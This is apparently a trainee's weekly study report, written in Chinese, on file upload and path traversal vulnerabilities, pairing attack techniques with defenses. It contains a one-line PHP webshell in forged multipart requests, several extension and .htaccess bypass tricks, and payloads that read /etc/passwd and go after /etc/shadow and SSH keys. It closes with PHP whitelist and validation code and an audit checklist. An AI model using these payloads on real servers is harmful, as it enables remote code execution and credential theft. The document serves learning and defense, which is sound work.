💡 字多 ≠ 有价值
周报不是为了表现工作量,而是给团队提供最基本的“信息透明”。尽量挑选重要信息来写。
文件上传及下载漏洞学习周报
汇报人:莫家豪 日期:2025年7月2日
一、概述
文件上传漏洞与文件下载(路径遍历)常被串联使用,能直接导致远程代码执行(上传 WebShell → 执行),以及敏感文件泄露(配置、密钥、凭证)。在最坏情况下,攻击者可通过上传/执行脚本取得服务器完全控制(RCE)、导出数据库、横向渗透等。
二、分类与危害
-
文件上传漏洞:未对文件名/扩展、MIME、内容(文件头)做可靠校验,或上传目录可被执行 → 高危(可能 RCE / WebShell)。
-
文件下载 / 路径遍历:未对路径做规范化、白名单限制或根目录约束,导致读取
/etc/passwd、/etc/shadow、/WEB-INF/web.xml等 → 高危。 -
解析/映射缺陷组合:如服务器配置或 .htaccess 被篡改,使图片扩展也按 PHP 解析,扩大攻击面 → 严重。
三、攻击流程(对攻者与测试者都适用)
1) 探测上传点
-
常见上传场景:头像、附件、CMS 媒体、文档上传、富文本编辑器的图片上传接口、PUT 接口。
-
方法:正常上传一个小图片,观察响应(保存路径、文件名、Content-Type 响应、重定向)。Tip:服务器可能使用
filename字段来决定保存位置。
2) 绕过/利用(常见技巧与示例)
在 Burp 中:拦截请求 → Repeater/Intruder 演练 → 修改 multipart 的 filename、Content-Type、文件二进制尾部等。
- 伪造 MIME / Content-Type
将
Content-Type改为image/jpeg,但内容写入 PHP 代码)。示例请求片段:
POST /upload HTTP/1.1Content-Type: multipart/form-data; boundary=----WebKitFormBoundary------WebKitFormBoundaryContent-Disposition: form-data; name="file"; filename="shell.php"Content-Type: image/jpeg<?php system($_GET['cmd']); ?>(服务器仅根据 header 判断时可绕过)
-
扩展名和大小写混淆(php):
shell.PhP、shell.php5、file.phtml等;服务器端对扩展名判断不规范时生效。 -
ASP
,cer,cdx(IIS 默认解析) -
JSP
,jspf(tomacat 支持) -
双写 / 复合后缀:
shell.php.jpg、shell.pphphp等(某些服务在解析时会取最后或第一段,或发生截断)。 -
%00(Null byte)截断:
shell.php%00.jpg(旧版某些解析/语言存在截断漏洞;现代框架/语言大多已修复,但仍要测试)。 -
图片木马(polyglot):把 PHP 代码拼接到合法图片尾部(
copy /b image.jpg + shell.php output.jpg),文件仍被识别为图片但包含脚本代码(在被错误解析为可执行类型时会触发)。 -
时间/竞态(race)攻击:在上传流程完成但文件被移出或临时删除前快速访问,或利用 URL 上传的竞态条件把文件置到可执行目录。
-
Windows 特性利用:尾部空格、备用数据流(
::$DATA)等 Windows 文件系统特性可能导致保存名与期望不同(有时可绕过检测)。 -
htaccess / 配置覆盖(Apache):上传可控
.htaccess(若允许),写入AddType application/x-httpd-php .jpg强制服务器把.jpg解析为 PHP,再上传图片木马触发执行。 -
.user.ini:通过修改 PHP 配置项(例如
auto_prepend_file、open_basedir、disable_functions等)来改变运行时行为,从而间接实现代码执行或绕过防护。详细可见链接 -
web.config 配置注入(IIS),上传 web.config 修改 IIS 解析
3) 触发执行 / 链接利用
-
直接访问上传路径(若文件被放在 webroot 且可执行)
-
利用解析漏洞:
/uploads/shell.jpg/.php、或通过某些服务器对路径解析的特殊行为触发执行。
四、文件下载(路径遍历)快速利用步骤
-
查找常见参数:
file=,path=,download=,doc=等。 -
测试 payload:
?file=../../../../etc/passwd(根据服务器深度调整../数量)。 -
目标优先级:
/etc/shadow、数据库配置、/WEB-INF/web.xml、.bash_history、SSH 私钥。
五、Burp 靶场/实战检测清单(步骤化)
-
在 Burp Proxy 拦截上传请求,观察
Content-Disposition: filename=与Content-Type。 -
Repeater:替换文件内容为
<?php phpinfo();?>或<?php system($_GET['cmd']);?>,修改filename为常见可执行后缀,观察响应与返回路径/URL。 -
尝试:修改
Content-Type(image/png/jpeg)、双扩展、尾部拼接、null 编码、URL encoded 文件名、上传.htaccess(如果可行)。 -
上传合法图片并用工具(exiftool)修改 EXIF,尝试把 payload 藏在 EXIF、注释或尾部。
-
测试 PUT 方法(很多服务器/框架允许 PUT 上传到路径)。
-
若上传成功但未执行:寻找别的目录(比如 CDN/存储服务、另一个主机后端)或路径混淆导致不同解析策略。
-
路径遍历测试:在下载/查看接口注入
../或编码形式%2e%2e%2f。 -
使用 Intruder 做批量后缀/文件名 fuzz(
shell.php, shell.php5, shell.phtml, shell.jpg等)。
六、实用 Payload / 示例(测试使用)
- Multipart PHP 伪造 MIME:
Content-Disposition: form-data; name="file"; filename="exp.php"Content-Type: image/jpeg
<?php system($_GET['cmd']); ?>-
双扩展:
exp.php.jpg/exp.jpg.php5 -
Null byte(测试旧解析):
exp.php%00.jpg -
路径遍历(下载)示例:
GET /download?file=../../../../etc/passwd HTTP/1.1
(注意:上传 WebShell 与后续的访问触发可能依赖于服务器配置,需结合实际响应判断。)
七、防御与修复(面向开发/运维的可执行清单)
防御要分层:输入校验 → 存储策略 → 运行时限制 → 监控与审计。
核心防御措施(要点)
- 扩展名白名单(最基础):只允许确切列表(如
jpg/png/gif/pdf),并在后端小写化检查。
$allowed_ext = ["jpg","png","gif"];$extension = strtolower(pathinfo($filename, PATHINFO_EXTENSION));if (!in_array($extension, $allowed_ext)) { die("非法文件类型"); }-
内容/文件头检测:使用
finfo_file()、getimagesize()等函数验证真实文件类型(不要只信Content-Typeheader 或文件扩展)。 -
文件名策略:不要使用用户上传的文件名直接保存;采用安全重命名(随机/哈希 + 时间戳),并去掉可疑字符。
-
存储位置:将上传目录放在webroot 之外,或确保上传目录针对可执行脚本关闭解析(例如
Options -ExecCGI、不映射为 PHP 执行)。 -
禁止执行权限:上传目录禁止执行(通过服务器配置:Nginx/Apache 配置或文件系统权限),并设置严格的
umask与用户权限。 -
限制大小/类型/数量:设置合理的单文件与总上传大小上限,防止 DoS。
-
路径规范化与白名单访问:下载接口只接受内部文件 ID → 从数据库映射到物理路径,使用
realpath()并验证是否在白名单根目录内(防止../)。 -
不在可控目录写入可执行配置:禁止用户上传
.htaccess、服务器配置文件或脚本模版。 -
杀毒/扫描:对上传文件进行静态签名扫描/动态沙箱扫描(敏感场景)。
-
日志与告警:记录上传、文件名、IP、响应,异常模式(上传可执行文件、失败的执行尝试)触发告警。
-
对外暴露控制:如果必须把文件放到可访问目录,确保返回的 URL 仅用于下载而非执行;对响应设置
Content-Disposition: attachment并检测Content-Type。
PHP 示例(更完整)
// 1. 白名单扩展$allowed_ext = ["jpg","png","gif","pdf"];$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));if (!in_array($ext, $allowed_ext)) { die("非法文件类型"); }
// 2. 内容检测$finfo = finfo_open(FILEINFO_MIME_TYPE);$mime = finfo_file($finfo, $tmpfile);finfo_close($finfo);$allowed_mimes = ["image/jpeg","image/png","image/gif","application/pdf"];if (!in_array($mime, $allowed_mimes)) { die("文件内容与类型不匹配"); }
// 3. 重命名并移到 webroot 外$safe_name = hash('sha256', $filename . microtime(true) . random_bytes(8)) . "." . $ext;$dest = "/var/uploads/" . $safe_name; // /var/uploads 不在 webrootmove_uploaded_file($tmpfile, $dest);
// 4. 记录日志error_log("UPLOAD: $ip uploaded $filename -> $safe_name");八、检测/验收清单
-
上传点是否只接受白名单后缀并校验真实文件头?
-
上传目录是否在 webroot 外或禁用脚本执行?
-
是否对
Content-Type、filename做信任校验?(是否仅基于 header 决定类型?) -
是否允许 PUT、WebDAV、或其他非标准上传方法?
-
是否存在
.htaccess或配置文件被覆盖的风险?(能否上传.htaccess) -
下载接口是否对
../路径进行规范化并限制根目录? -
上传文件是否命名为用户可控名并可能覆盖已有关键文件?
-
是否有日志/告警对异常上传(可执行文件、异常大小)进行告警?
九、
-
不要只靠黑名单:黑名单易漏且难维护,攻击者可用另类后缀或解析差异绕过。
-
不要只靠前端限制:前端可被绕过(禁 JS 或直接用 Burp)。
-
服务器配置差异:同一域名后端可能由反向代理/多台主机处理,目录的解析策略可能不同,测试时注意不同主机的差异。